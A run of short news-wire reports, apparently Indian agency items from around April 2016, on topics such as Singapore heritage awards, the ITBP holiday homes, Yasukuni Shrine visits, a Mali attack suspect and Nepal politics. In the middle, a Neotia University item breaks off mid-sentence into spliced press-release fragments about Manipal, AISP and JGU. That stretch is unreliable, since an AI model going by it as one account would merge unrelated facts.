It all began on February 17, 2003 when a team of CIA agents in Milan swooped down on Omar, as he walked from his apartment. He was flown to Egypt, where he was interrogated and released later. In 2005 reports surfaced that CIA officers had allegedly broken local laws against detaining terrorist suspects in Europe.

De Sousa resigned in 2009 after she failed in her efforts to persuade the State Department to grant her immunity.

According to a 2012 report in Caravan, Sabrina grew up in Mumbai. She married a US diplomat in 1985 when she changed her citizenship. They divorced in 1996.
An Indian temple trust was among nine patrons awarded in Singapore for lending its exquisite century-old deity jewellery on loan for 10 years to Indian Heritage Centre and helping provide "greater insight" into Indian culture.

The jewellery which includes a necklace made of rubies, emeralds, diamonds and a gem-studded crown was loaned by Saigon Chettiars Temple Trust and came from Thendayuthapani Temple which was established 200 years ago in Saigon (Ho Chi Minh City).

"The Saigon Chettiars Temple Trust has strengthened the IHC's storyline with its loan of beautiful deity jewellery, which gives us greater insight into the many perspectives of Indian culture," said Singapore's Minister of Culture, Community and Youth Grace Fu, who gave away distinguished supporter of heritage award to the trust.

The jewellery is on loan for 10 years, said Ashwin Muthiah, who represented the trust at the award ceremony held yesterday.

The jewellery came from Nagaratas, also known as Nattukottai Chettiars, sometimes in 1900 or before for deities at the The Thendayuthapani temple, established about 200 years ago, said Muthiah, executive chairman of AM International Holdings Pte Ltd.

The High Commission of India in Singapore was given a "Supporter" award for donation of Bronze Busts of Indian Leaders to the Indian Heritage Centre (IHC).

Former Singapore President S R Nathan was also awarded for contributing a 'Group of Indian National Army Related Photographs and Publications'.

Shirin and Rustom Ghadiali were also honoured for lending Parsi Silver Ritual objects andSarjit Singh for offering Collection of Artefacts pertinent to the Sikh Police and Armed Forces in Singapore and Malaya.

Others honoured with awards were R Gangatharan Davar, Leaena Tambyah and Gayatri Roy for their contribution and lending of Indian artefacts from their ancestors to the IHC.

Prime Minister of Singapore Lee Hsien Loong inaugurated the IHC on May 7 last year in the heart of Little India, a colourful, thriving neighbourhood that caters predominantly to the Tamils and Chinese.

Blending both traditional and modern Indian architectural aspects, the IHC celebrates many contributions of the Indian community to Singaporean society.
Environment Solutions provider Ion Exchange today announced the launch of a chemical blending facility in Bahrain.

"The new facility will serve as the chemical export hub for the Gulf Cooperation Council (GCC) region and North Arab states," the company said in a statement.

The facility was set up with the support of the Bahrain Economic Development Board (EDB).

Ion Exchange is expanding its facility in Bahrain in order to improve the products and services it offers the wider GCC region, a market currently worth around USD 1.5 trillion, the statement added.

Ion Exchange specialises in water treatment and provides a complete portfolio of advanced environmental solutions to industrial, institutional, residential, home, rural and urban developments.

The company has a strong global presence with plants in various parts of the world, with offices in the Middle East, South East Asia, Africa, Canada and the US.
Indo-Tibetan Border Police (ITBP) is setting up 'holiday homes' for its jawans and their families at 12 scenic locations in the country as part of its unique welfare scheme for the lower ranks personnel.

ITBP Chief Krishna Chaudhary today laid the foundation stone for the first such home in Mussoorie in Uttarkhand.

A senior official said the paramilitary force, tasked with securing the 3,488-km-long Sino-India border, will create exclusive 'holiday homes' for jawans or constables at places like Shimla, Almora, Joshimath, Madurai, Gangtok, Chittoor and Sarhan in Himachal Pradesh among others.

"A total of 12 such locations have been chosen to build these retreat homes. The infrastructure will be created in the ITBP premises already available at these places.

"These retreats have been planned as officers and their families have such facilities, but there were very less for jawans who are the backbone of the force, raised in 1962," a senior ITBP official said.

According to the blueprint, at a time, four families of the jawans could stay at these holiday homes, and the unit commanders and field leaders will be asked to ensure that the personnel avail of these facilities during their leave period.

"The retreat homes are being created as part of the welfare scheme initiated by the force for its personnel, especially in the lower ranks," he said, adding that a basic government service charge will be levied for utilising these facilities.

The 80,000-personnel force is deployed in the hill states of the country along the China border.
Dozens of Japanese lawmakers visited a Tokyo war shrine today in a ritual sure to anger China and South Korea, where memories of Japan's military and colonial record remain raw.

The capital's Yasukuni Shrine honours millions of Japanese dead, including several senior military and political figures convicted of war crimes after World War II.

The leafy central Tokyo shrine to Japan's Shinto religion has for decades been a lightning rod for criticism by countries that suffered under Japan's colonialism and aggression in the first half of the 20th century.

Visits to the shrine by senior Japanese politicians, including occasionally prime ministers, routinely draw an angry reaction from China and South Korea, which see it as a symbol of Tokyo's militaristic past.

Abe and other nationalists say the shrine is merely a place to remember fallen soldiers and compare it to burial grounds such as Arlington National Cemetery in the United States.

"We are still counting the number of parliament members who just returned from the shrine, but the number will probably surpass 100," an official working for upper house member Toshiei Mizuochi told AFP.

It was not immediately clear how many of the lawmakers that visited Yasukuni for its annual spring festival were from Prime Minister Shinzo Abe's ruling Liberal Democratic Party.

Kyodo agency, however, said that no members of Abe's cabinet took part.

The visit came a day after Abe made a ritual offering to the shrine.

Abe visited in December 2013 to mark his first year in power, a pilgrimage that sparked fury in Beijing and Seoul and earned him a diplomatic rebuke from the United States, which said it was "disappointed" by the action.

He has since refrained from going and reaction by China and South Korea to the latest visit by the parliamentarians is expected to be muted as Japan has taken steps over the past 18 months or so to improve relations with both countries and Abe has held summit meetings with their leaders.
The organisers who have invited JNU student leader Kanhaiya Kumar for a public meeting here on April 24 today said they have changed the venue in view of the preconditions imposed by the police.

It would be now held at the Bal Gandharva auditorium, said the Progressive Students Youth Action Committee, the organiser.

The mother and brother of the Dalit research scholar Rohith Vemula will also attend the meeting.

The rally was earlier slated to take place at the premises of Rashtra Seva Dal, but the police asked the organisers to carry out a fire and structural safety audit of the venue and imposed certain other pre-conditions for giving permission.

"Since fulfilling the preconditions was impossible and it was clear that the police were using pressurising tactics, we decided to change the venue," said Girish Phonde, a Committee member.

"At Bal Gandharva, there is no need of fire or structural audit as the auditorium belongs to the municipal corporation. We have now applied afresh for police's permission," he said.
Almost three decades after it was first published as a major study throwing light into the varied cults and allied traditional arts of Kerala, a book by Indira Gandhi National Centre for the Arts (IGNCA) has been re-released.

A second edition of the landmark 'The Arts of Kerala Kshetram' authored by renowned scholar Kapila Vatsyayan, was released here recently.

The hard-bound work is backed by research about popular myths and archetypal images of mythological Bhagavati, Shiva and Bhima in 'God's Own Country'.

First brought out in 1989, the 84-page work dwells on the social connotations and various forms of oral, ritual and visual arts ranging from paintings, murals and sculptures to Kerala's performing arts from the folk and classical traditions.

The monograph, which is based on a lecture that Vatsyayan, a former IGNCA chairperson, gave in Kerala's Tripunithura off Kochi in 1988, has been commended by many as remarkably rich in the variety of art forms it covers and the directions for future research it offers in the area.

The author revisits these art forms, often termed as "little" and "great" traditions, and shows how classical art forms such as Kathakali and Krishnanattam serve as a bridge between them.

The book covers a wide spectrum of arts of Kerala ranging from the tribal to the classical, points out Omchery N N Pillai, a city-based Malayalam playwright.

"The study looks around, backward and forward the ideal function of an explorative pilgrimage the author had undertaken," says the nonagenarian.

Sanskrit scholar K G Paulose, has edited the book, which contains a 14-page glossary.

The scholar explains the distinction between the folksy Mudiyettu dance-drama of Kerala, juxtaposing its techniques with the highly-sophisticated 2,000 year old Koodiyattam theatre.

"The aesthetics of both forms, nonetheless, can be categorised as intangible heritage," says Paulose, a former vice-chancellor of Kerala Kalamandalam, the state's premier performing-art institution.

A former Rajya Sabha MP, 88 year-old Vatysayan, who has been a Unesco Executive Board member and president of India International Centre, says it is "gratifying" to see one of her old works now finding a contemporary set of readers.
A Pakistani national and the husband of Chikku Robert, a nurse from Kerala who was found murdered at her residence in Oman, have been put under detention and are being investigated in the case, External Affairs Ministry said today.

"On 21st April in Salala Oman, a nurse from Kerala, Chikku Robert was found murdered. Our mission in Muscat has informed us that the royal Oman police is currently investigating her death. A neighbour, who is a Pakistani national and her husband are under detention and are being investigated.

"The Embassy is in touch with the police authorities concerned. Her mortal remains are in a mortuary in the custody of royal Oman police. The Mission in Oman will continue to follow up the case with authorities concerned including release and transportation of the mortal remains after the investigation is completed as per the wishes of the family," MEA Spokesperson Vikas Swarup said.

According to reports, Robert (25) was stabbed to death at her residence.
US Secretary of State John Kerry brought his granddaughter to work today as he joined senior world officials to formally sign the Paris climate deal at the United Nations.

Washington's top diplomat came to the podium cradling two-year-old Isabelle Dobbs-Higginson and triggered warm applause as he endorsed the accord for the United States.

Earlier, Kerry had addressed the General Assembly to hail the agreement, which he said was the last chance to slow the devastating pace of human-generated climate change.

Isabelle is the daughter of Kerry's eldest daughter, filmmaker Alexandra Kerry.
People in the city today showed support for environmental protection as they celebrated the World Earth Day by planting trees and organisisng a number of other awareness programmes on combating climate change.

In Salt Lake area, a group of citizens got together to donate and plant 1,000 trees at the IT hub of Sector V.

40-year-old taxi driver Dhananjay Chakraborty's yellow-coloured Ambassador cab 'Sobuj Rath' (Green Chariot) was the special attraction in the campaign as it was fitted with a bed of real grass on the rooftop and a cluster of potted plants inside.

The Indian Museum put up an exhibition on bio-perspective plants of India and also organised a bonsai making workshop.

To spread awareness on trees, a puppet show was also organised at the museum.

Science City celebrated the occasion based on the theme 'Trees for the Earth' for around 250 underprivileged city children.

"On World Earth Day we want to instill awareness among the kids to plant as many trees in and around our surroundings to make our planet greener and help in combating climate change," Science City director Arijit Dutta Choudhury said.
RLSP chief and Union Minister Upendra Kushwaha today asked the Bihar government to provide "maximum relief" to the victims of a fire incident in his parliamentary constituency Karakat.

He cancelled all his engagements and flew to Patna in the evening.

"At least 12 people have died. The toll could go up. Many more are injured. It's a tragic incident. I have asked the local officials to provide them maximum relief," he said before leaving for Patna.

Kushwaha represents Karakat in the Lok Sabha.

Twelve people, including six children, were charred to death and at least six sustained burn injuries in a fire at a house in Bihar's Aurangabad district.
Sri Lanka's main Tamil party TNA- controlled northern provincial council today adopted a resolution seeking a federal solution to the long-pending issue of political independence for the counry's minority Tamil community.

The resolution adopted by Tamil National Alliance (TNA) aims to have the federal solution included in the current constitution-making process.

The government headed by President Maithripala Sirisena and Prime Minister Ranil Wickremesinghe has already launched a process to formulate a new Constitution for the country replacing the 1978 statute.

The Tamil demand for a federal solution dates back to the days when Sri Lanka, then Ceylon, came to be granted independence by the British in 1948.

Later, the campaign was extended to a separate state demand when the LTTE fought a decades-old war with the government to carve out a separate Tamil homeland.

With the defeat of the LTTE in 2009, the Tamil leadership has adopted a softer approach to give up on the separatist demand.
An advocate in Assam's Barpeta district was arrested for allegedly making fake documents necessary for inclusion of names in the National Register of Citizens (NRC).

The lawyer identified as Rafiqul Islam was produced at the Sessions Judge's Court, Barpeta today and sent to judicial custody.

The advocate was booked with case no 229/16 under section 471/420/468/34 IPC for making fake NRC documents at Rs 300-500 per person with the help of photocopy of voters' list and fake signature of Barpeta Election Officer.

The incident came to light when NRC documents of one Rejjak Ali were found to be false and the police started an inquiry when a large number of such documents in the district were found to be fake, the police said.

Many in the district were worried as they had submitted their NRC documents completed under the lawyer without knowing he was resorting to dubious tactics.

NRC updation work is on in Assam under the orders of the Supreme Court to weed out illegal migrants from Bangladesh, which requires citizens to produce family legacy data before 1971, establishing their Indian citizenship.
A Mauritanian man suspected of planning and carrying out deadly attacks on popular tourist venues in Mali last year has been arrested in the Malian capital Bamako, security sources said today.

Detained yesterday in a Bamako suburb, the man is believed to have taken part in attacks in March, August and November that left more than 30 people dead , including a deadly assault on the upmarket Radisson Blu hotel he allegedly masterminded.

"He was planning to stage an attack on western targets this weekend in Bamako," said a source to AFP.

The suspected is believed to attacked a bar and restaurant in Bamako in March 2015 in which five people died, including two foreigners, the sources said.

He is also suspected of planning deadly assaults on the upmarket Radisson Blu hotel in Bamako in November that left 20 dead and the Byblos hotel in central Mali in August, where 13 people died.

A security source close to the investigation said the Mauritanian had also been involved in a failed attack in March 21 this year on the Azalai Nord-Sud hotel in Bamako, where the EU mission is based.

Code-named "Ibrahim number 10", the suspect was "the shooter at La Terrasse", and he planned the Radisson Blu, Sevare and Nord-Sud attacks, the source said.

"He quickly confessed after his arrest yesterday (Thursday) at around 8:00 pm (2000 GMT)," the source added.

"He had arrived in Bamako on April 16 to carry out more attacks, and he spent several days in Mali without being detected," he said.

Another security source said weapons and grenades were found at the suspect's home in Bamako.

The March 7, 2015 grenade and gun attack on La Terrasse bar left five people dead -- three Malians, a Belgian and a Frenchman. It was claimed by an affiliate of Al-Qaeda in the Islamic Maghreb (AQIM), the jihadist group's North African branch.

The November 20 attack on the Radisson Blu left 20 people dead, including 14 foreigners. AQIM also claimed responsibility for the assault.

The August attack on the Byblos hotel in Sevare killed four foreign employees of the UN Mission in Mali (MINUSMA).
Mali's intelligence service says it has arrested a Mauritanian man behind a deadly attack on a luxury hotel in the capital, Bamako, last November.

The General Directorate of State Security said in a statement late Thursday that the man, identified as Fawaz Ould Ahmeida, was a main planner of the November 20 attack on the Radisson Blu hotel that left 20 dead.

It also linked him to an attack last month on the European Union military training mission's headquarters in Bamako. One assailant died in that incident.

The statement said that Ould Ahmeida is a member of the Al-Mourabitoun group, which has also been implicated in the March 13 assault on a beach town in Ivory Coast.

It said he was plotting attacks on Western targets for this weekend.
Coming down heavily on police for allegedly showing a person who was alive as deceased in a case, Madras High Court today appointed an IG rank officer to probe the matter and said police would have to face legal consequences if the complaint was found true.

A division bench comprising justices M Jaichandren and S Nagamuthu stated this when a criminal miscellaneous petition filed by Krishnan, an army man, came up.

He alleged that police in Dharmapuri district had obtained his 'death certificate' when he was actually alive, instead of that of his elder brother Govindasamy, a murder accused who died during trial.

In the charge sheet, police had allegedly named Krishnan as accused instead of Govindasamy.

The case relates to murder of Chinnasamy by his brother's sons. Among the three accused siblings who were arrested was Govindasamy.

Krishnan, the fourth son, submitted documents to prove his identity before the trial court and said police tried to show that he was among the three accused and was dead.

The trial court awarded life to his two brothers. But the the charges against Krishnan, the third accused, abated as he was shown as 'deceased'.

Krishnan filed a miscellaneous petition today when the appeal by the two brothers came up, challenging the sentence awarded to them, saying that police had "played fraud" in the investigation.

The bench said if it was proved that police had made a false representation to the court to make it believe that Krishnan had already passed away, they would have to face the legal consequences.

Also if the claim by Krishnan before the trial court was found false, he too would have to face legal consequences. At any rate, this matter needed thorough probe, it said.

The bench then appointed A G Pon Manickavel, IG of Police, Idol Wing as enquiry officer.

It directed him to complete the probe on or before June 3 and submit a report to the High Court Registrar General.

The RG should place the report with the above appeal, the court said and posted the matter to second week of June.
A man was today arrested by police today for allegedly taking "objectionable" pictures of a woman on board in a flight from Ahmedabad to the national capital.

The complainant, a resident of Ahmedabad, was travelling to Delhi with her father in a private airline.

"During the journey, her father noticed a man secretly taking objectionable photos of his daughter and raised an alarm," a senior official said.

The accused, Gaurav Sharma, a native of Sambhal in Uttar Pradesh who is employed at a steel company in Ahmedabad, was arrested after the flight landed in Indira Gandhi International Airport here, he said.

A case has been registered under Section 354C (voyeurism) of IPC and investigation is underway, DCP (IGI Airport) D K Gupta said.
Chasing a gilded finale to a difficult season, Louis van Gaal's Manchester United face an Everton team reeling from Merseyside derby humiliation in Saturday's first FA Cup semi-final at Wembley.

Van Gaal found himself back in the media's crosshairs following a 3-0 defeat at Tottenham Hotspur earlier this month, but not for the first time this season, his side responded with a timely burst of wins.

Victory at West Ham United in their FA Cup quarter-final replay provided the spur for back-to-back league wins over Aston Villa and Crystal Palace that have bolstered United's quest for Champions League qualification and they will travel to London with renewed confidence.

"We are further than last year," Van Gaal said of his side's FA Cup progress. "Then it was the quarter-final, now it is the semi-final. It means we are better than last year.

"We are in the semi-final and still in the race for fourth. That was our aim."



A long, dark English winter is threatening to burst into a far more pleasant spring for Van Gaal, who is seeking to steer United to a first FA Cup final since they lost 1-0 to Chelsea in 2007.

Uncertainty surrounding the Dutchman's Old Trafford future continues to swirl, with Jose Mourinho and Tottenham Hotspur manager Mauricio Pochettino continually touted as potential successors in the British press.

But success in the FA Cup, which United last lifted in 2004, allied to a top-four finish in the Premier League would strengthen Van Gaal's hand greatly as he approaches the final year of his three-year contract.

Furthermore, United's line-up in recent weeks has demonstrated the commitment to youth that helped Van Gaal land the job in the first place.

Marcus Rashford, the 18-year-old striker who only made his debut in February, continues to play, and score, with the coolness of a seasoned professional and his displays have been supplemented by the verve of fellow forwards Anthony Martial, 20, and 23-year-old Jesse Lingard.

The trio's displays have meant that captain Wayne Rooney, back in action after a knee injury, has had to drop into a midfield role, which is where he is likely to play if selected against his old club on Saturday.
Union Minister Maneka Gandhi today asked farmers to increase production of pulses in the country.

"Ninety per cent of the pulses is being imported. For increasing the production, Prime Minister Narendra Modi has launched a scheme of Rs 500 crore. Farmers should also increase its production," she said while addressing farmers at an event here.

She also urged them to use organic fertilisers and cited the example of Sikkim, where other fertilisers and pesticides have been banned.
After filing a complaint with the government over the "misleading" housing advertisement by the Maple Group, BJP MP Kirit Somaiya today said that soon the accused builder will be behind bars for allegedly duping people.

"The housing scheme by Maple Group is bogus and the developer, through a well-designed scheme, tried to present his project as government's project. However, we immediately raised the question and within 48 hours, a case was registered against him (developer)," Somaiya said on the sidelines of a lecture on 'Fight against Corruption'.

When asked about the action against Maple Group CMD Sachin Agarwal and other accused, he said that he had met Maharashtra Housing and Area Development Authority (MHADA) and police officials and sought details of the case.

"Police are investigating the technicalities of the case and will be taking the decision about his (Agarwal's) arrest soon," he said.

Meanwhile, officials of the economic offences wing of Pune Police said that as per the latest information, approximately 32,000 people had registered in the housing project.

"We have discovered one more bank account, which has been frozen," said an officer.
Brussels' Maelbeek metro station, which was hit by one of the Islamic State suicide bombings a month ago that killed 32 people, will reopen on Monday, transport officials said.

The Belgian parliament's commission of inquiry into the attacks is due Friday to visit both Maalbeek station, near the EU's headquarters, and Brussels Airport as part of its mission to shed light on both attacks by the end of the year.

Maelbeek station has been closed since Khalid El-Bakraoui detonated a bomb at 9:11 am on March 22 that killed 16 people on a train, part of coordinated attacks that hit the airport in Zaventem neighbourhood just over an hour earlier.

Maelbeek will resume service Monday from 6 am until 10 pm, like the rest of the network, the Brussels public transport service spokeswoman Francoise Ledune told AFP today.

Reconstruction work will be completed Friday evening, Ledune added.

One of the station's eight tiled portraits by artist Benoit van Innis remains damaged and will be covered up. The same artist is now working on a project to commemorate the massacre that is due to be completed in June, Ledune said.

"In the meantime, we plan to set aside a remembrance wall where people can leave messages, words of hope," she added.

Later Friday trains are also due to resume service to Brussels airport, which the authorities had halted because it led to the damaged terminal.

Brussels airport is set to resume full operations in June after it was completely closed to passengers for 12 days following the attack and then began gradually to restore service.

The airport bombings were carried out by Khalid's brother Ibrahim El Bakraoui and Najim Laachraoui -- the alleged bombmaker for the November 13 Paris attacks.

Police earlier this month arrested Mohamed Abrini, who confessed to being the "man in the hat" caught on video with the two airport bombers and who allegedly was preparing to detonate a third bomb before fleeing the scene.

The authorities have also arrested Swedish national Osama Krayem and charged him in connection with both the Brussels and Paris attacks.

He was filmed on CCTV talking to Khalid El Bakraoui minutes before the bomb went off.
Officials are investigating after Mitsubishi Motors Corp after the company said it had found employees manipulated fuel efficiency data of more than 620,000 light vehicles it manufactured.

Local media reports showed investigators from the Ministry of Land, Infrastructure, Transport and Tourism entering offices of the company's assembly plant in central Japan's Nagoya today.

Yesterday, the company apologised for what it said was intentional falsification of mileage test data that falsely boosted fuel economy by about 5 per cent to 10 per cent.

Trading in Mitsubishi Motors' shares halted before the close today after the shares fell more than 20 per cent.

Mitsubishi Motors was tarnished by a massive recall cover-up of safety defects 15 years ago.

The inaccurate tests by the Tokyo-based automaker involved so-called "minicars" with tiny engines whose main attraction is generally great mileage. Mitsubishi was reporting mileage of up to 30.4 kilometers per litre.

The inaccurate tests by the Tokyo-based automaker involved 157,000 of its own-brand eK wagon and eK Space light passenger cars, and 468,000 Dayz and Dayz Roox vehicles produced for Nissan Motor Co.

All are so-called "minicars" with tiny engines whose main attraction is generally great mileage. They were produced from March 2013.
A former model-turned-television actress has lodged a complaint with Delhi Police accusing a Bollywood actor of assaulting her at the sets of a television programme in Mumbai earlier this year.

The woman approached the C R Park police station on Wednesday with a written complaint and asked the police to arrest the actor, claiming that he is currently in UP for the shooting of an upcoming movie, a police officer said today.

"We are looking into the matter. Further action will be taken as per provisions of law," he said.

The woman had earlier lodged a complaint in Mumbai against the same Bollywood actor and an actress alleging that they had assaulted her after doing some black magic.
West Bengal-based self financed university - The Neotia University (TNU) today signed a MoU with Frost & Sullivan Inc to collaborate in setting up biotechnology parks in India and developing enterprenuership.

University vice-chancellor A S Kolaskar said the biotechnology parks will be set up in states like West Bengal and Rajasthan and impart unique entrepreneurship program.

TNU, set up last year, has a strong biotechnology human resources development program, while Frost & Sullivan Inc has expertise in planning and developing biotechnology parks in countries outside India.

"Both will work together with the state and central government's department of biotechnology to not only establish biotechnology parks but to create industry specific and industry ready human resources," Kolaskar said.

Global president of Frost and Sullivian Inc, Aroop Zutshi in a statement said F&S has signed the MoU with TNU because it is able to take fast innovative decisions and have the potential to become tomorrow's Stanford, MIT, and Harvard.

Kolaskar said the unique proprietary modular program developed by GIL University (Malaysia) of Frost&Sullivan Inc will immensely help young to budding entrepreneurs in this part of the country.

"Being the biggest competition of the kind for



architecture students, it is a great achievement," said Prof Nishant Manapure, Director FOA. "We are proud of her. Vishnu is one of the bright students and we are extremely thrilled at her achievement. She has brought laurels not only for the department and Manipal University, but also to the country," Prof Nishant said and added, "She makes full use of the creative and intellectual platforms provided at Faculty of Architecture.

We are proud of her."



Being from Chennai, Vishnu based her essay on a script taken from the lives of hapless children being taken care of by Karunalaya, a social service organization run by Dr Paul Sunder Singh, which transforms the lives of these ill-fated children of Chennai's beaches, streets, railways stations, bus stops and harbor. The two shelters run by Karunalaya is home to 36 boys and 29 girls. Vishnu gives a complete analysis of everything about the children. She portrays their past and present effectively in the essay and describes of the changes in their lives in the new setting.

About Manipal University



Manipal University is synonymous with excellence in higher education. Over 28,000 students from 57 different nations live, learn and play in the sprawling university town, nestled on a plateau in Karnataka's Udupi district. It also has nearly 2500 faculty and almost 10000 other support and service staff, who cater to the various professional institutions in health sciences, engineering, management, communication and humanities which dot the Wi-Fi-enabled campus.

The University has off-campuses in Mangalore and



Bangalore, and off-shore campuses in Dubai(UAE) and Melaka (Malaysia). The Mangalore campus offers medical, dental, and nursing programs. The Bangalore campus offers programs in Regenerative Medicine. The Dubai campus offers programs in engineering, management and architecture, and the Melaka campus offers programs in medicine and dentistry. Every institute has world-class facilities and pedagogy, which are constantly reviewed and upgraded to reflect the latest trends and developments in higher education.

For more information, visit: http://manipal.Edu/mu.Html.

Media contact:



Priyanka Bali



Priyanka@brand-comm.Com



+91-9620562361



PR Consultant, Integrated Brand-comm pvt ltd Photo: http://photos.Prnewswire.

AISP is a unique summer school for high school students



which aims to provide students with global perspectives, holistic learning and ethical engagement for students through theme-based experiential learning modules in 6 interdisciplinary areas of Law, Justice and Democracy (LJD); Business Management, Leadership and Entrepreneurship (BLE); Diplomacy International Relations & Peace (DIP); Economy, Public policy and Development (EPD); Liberal arts, Culture and Humanities (LCH); Media Communication & Public Affairs (MCPA).

Welcoming the first citizen of India to the JGU campus, Prof. C Raj Kumar, Vice Chancellor, JGU, observed, "As a visitor to over 116 institutions, President Mukherjee has galvanised social and intellectual consciousness towards advancing the cause of higher education. His presidency has been defined through the contribution that he has singularly made towards advancing the cause of higher education in the country. We are proud and honoured to have him amidst us today."



Introducing the theme of the conference, Vice-Chancellor Kumar said, "The Indian higher education system is facing many challenges, as issues related to quality, quantity, accessibility and equity are simultaneously being addressed. While there has been an effort to address the challenge of expansion and provide opportunities to access higher education, a lot more needs to be done.
Nepal government today made a fresh appeal to Madhesis to seek peaceful solution to the political crisis through talks even as the agitating parties announced nationwide protests beginning next week in their new bid to continue their struggle against the Constitution.

Deputy Prime Minister Bijay Kumar Gachchhadar, a senior Madhesi leader himself, called the Terai-centric parties to the negotiating table.

Talking to reporters at Biratnagar Airport in eastern Nepal, Gachchhadar said there was no alternative to holding talks and that the demands of Madhesis - largely of Indian- origin - could only be resolved through Constitution amendment.

Gachchhadar, who is also the chair of the Madhesi People's Rights Forum (Democratic) - the only Madhesi party in the coalition government but not part of the agitation, said that the government was continuing talks with all sides as consensus and collaboration among the major parties was essential to implement the Constitution.

His remarks came on a day when the Federal Alliance, an alliance of the agitating seven Madhes-based parties and other ethnic political groups, unveiled fresh protest programmes to press for their demands of greater representation and more rights to the ethnic minorities of southern Nepal.

As per the protest plan, the alliance will picket Singha Durbar, the main administrative building of the country, situated in the capital on May 14.

The alliance has decided to launch fresh protest programmes for 15 days which will be organised in all three geographical regions - Terai, Hill and Mountain.

As per the protest plan, the alliance will submit protest note on April 27 and put up black flags at government offices on April 29. Likewise, protest assemblies will be held in several other districts.

The Madhesi parties led the six months-long violent agitation, mainly to protest against the seven-province federal model enshrined in the Constitution.

Nearly 60 people lost their lives during the agitation that also disrupted the supplies of petroleum products and cooking gas among other essentials to Nepal, leading to severe hardships to the people. The agitation, however, ended unexpectedly in February just before Prime Minister K P Sharma Oli's maiden visit to India without any political agreement.
In her first overseas trip after assuming charge, Nepal's first woman President Bidhya Devi Bhandari will visit India next month during which a range of important issues are likely to be deliberated upon by both sides.

External Affairs Ministry Spokesperson Vikas Swarup said Bhandari will be here at the invitation of President Pranab Mukherjee and that India was looking forward to welcome her.

Nepalese Prime Minister K P Sharma Oli had visited India in February which was also his first foreign trip after becoming the premier in October.

"India shares unique civilisational links with Nepal. Our age-old ties have been constantly nurtured by frequent exchanges of high-level visits. We look forward to welcoming President of Nepal Vidya Devi Bhandari next month in India on her first official visit abroad since taking office," Swarup said.

He said Bhandari has also evinced an interest in participating in the Simhasth Kumbh which is being held in Ujjain in May. The Nepalese President will be staying in President's House during the New Delhi leg of her trip.

The bilateral ties between the two countries had faced turbulence in the recent past due to the months-long Madhesi agitation and subsequent blockade which halted the supply of essential goods to landlocked Nepal from India.

Madhesis, mostly of Indian-origin, have been demanding the new Constitution be amended to include their concerns about adequate political representation and redrawing of federal boundaries.

Swarup said Foreign Minister of Mongolia L Purevsuren will pay an official visit to India from April 27-29 during which he will co-chair the 5th India-Mongolia Joint Committee on Cooperation, along with External Affairs Minister Sushma Swaraj.

Prime Minister Narendra Modi had visited Mongolia in May last year.

Asked about the prime minister's visit to the US in June, Swarup said US President Barack Obama during his meeting with Modi during nuclear security summit in Washington had expressed a wish for a bilateral summit to review the progress of India-US bilateral ties.

Replying to a question on the Kohinoor issue, the spokesperson said, "Government of India remains committed to bringing back in an amicable fashion the valuable artifact which has strong roots in our history.

"Government of India will take all steps which are necessary to bring back the Kohinoor in an amicable manner."



Asked about observations on Maldives by Commonwealth's human rights and democracy oversight body CMAG, Swarup said India was for stability and development of the island nation.

"India has always supported stability, development and democracy and pluralism in the Maldives," he said, adding India's long-standing position was recently articulated during Maldivian President Abdulla Yameen Abdul Gayoom's recent visit here.

"India is a member of the CMAG and after its deliberations, a concluding statement has been issued. Obviously being a member of the CMAG, India is party to the statement and it speaks for itself," he said.
Nepal's Supreme Court today issued a show cause notice to the government seeking clarification over recommendation of envoys to 21 countries, including China and Pakistan, on a plea alleging that it was not inclusive and violates the provision of the Constitution.

A single bench of Acting Chief Justice Sushila Karki asked the defendants to be present in the court with written clarification mentioning reason and base for nominations within 15 days.

The apex court was responding to a writ petition filed by advocate Rakshyaran Haricha on Wednesday, demanding a halt to the nomination process claiming that the selection was not inclusive and contravenes the new Constitution.

The Prime Minister, Office of Prime Minister and Council of Ministers, Constitutional Council and recommended envoys have been named as defendants in the writ.

The petitioner claimed that majority of the appointees are from upper class Bramhin ethnic community and there is very negligible number of woman, ethnic minorities marginalised class and the Madhesi community.

Article 282 of the new Constitution states that the President shall appoint ambassadors and other emissaries for specified purposes based on the principle of inclusion.

The Cabinet on Tuesday recommended envoys for 21 countries, including China, Pakistan, UK, Japan, Germany, Australia, Bangladesh, Russia, Sri Lanka and Bahrain, where the diplomatic posts have remained vacant for several months.

Their appointment, however, needs to be approved by parliamentary hearings, which has not yet been formed due to some technical reasons.
Thailand's king today approved a law providing a 10-year jail sentence for campaigning ahead of an August referendum on a new constitution written by the ruling military.

The law, also signed by Prime Minister Prayut Chan-O-Cha, comes amid snowballing criticism of the proposed charter, which the junta says is the antidote to Thailand's caustic political divide.

Politicians from across the aisle have blasted the charter as undemocratic and aimed at entrenching military power at the expense of elected lawmakers.

The country will vote in an August 7 referendum but the law further empowers the military to block any protests or public seminars on the charter.

The broadly-worded new legislation criminalises "deceiving, forcing or influencing a voter to not cast his vote or vote in any direction".

All laws must be formally approved by the 88-year-old king, who is a constitutional monarch.

The law was released hours after the UN's human rights commissioner spoke out against the military's curbs on dissent.

The past week has seen several activists and a high-profile ex-politician arrested for vocal opposition to the charter -- which will be Thailand's 20th in less than a century if it passes.

"I urge the government to actively encourage, rather than discourage, dialogue and engagement on the draft constitution," the UN's Zeid Ra'ad Al Hussein said.

"Extending the military's powers is not the answer to rebuilding Thailand's political landscape," he added.

The junta has maintained a ban on political activities and public gatherings since its power grab two years ago.

Under the proposed charter, a junta-appointed senate with seats reserved for military commanders would check the powers of elected lawmakers for a five-year transitional period.

Thailand has been torn apart by coups and rounds of often-deadly mass protests since billionaire ex-premier Thaksin Shinawatra was toppled by the military in 2006.

Shinawatra supporters say the charter is an effort to cripple the powerful Shinawatra family, whose political bloc has won every national election in the past decade but is hated by a military-allied elite.
After the South, states from northern and western regions have agreed to use the poverty line for tracking the progress of welfare schemes rather than for identifying the beneficiaries.

At the second regional consultation meeting of a NITI Aayog's Task Force, the states agreed with the think tank's view that poverty line should be used for tracking progress in poverty reduction and not for identification of poor to provide benefits under welfare schemes, NITI Aayog said in statement.

Earlier, southern states had expressed the same view in their meeting with the taskforce held on April 19 at Hyderabad.

The agreement reflected views of Gujarat, Maharashtra, Rajasthan, Punjab and Haryana, and UTs of Daman & Diu and Dadra & Nagar Haveli in their meeting with the NITI Aayog's Task Force on Elimination of Poverty in India held in Jaipur today.

According to statement, Gujarat opined that poverty is a multidimensional concept and shared its life cycle and area based approach to be followed to combat poverty.

Gujarat briefed about some of its best practices which have been successful in addressing the poverty in the state such as Vanbandhu Kalyan Yojana, Sagarkhedu Sarvangi Vikas Yojana, Krishi Mahotsava and Garib Kalyan Mela.

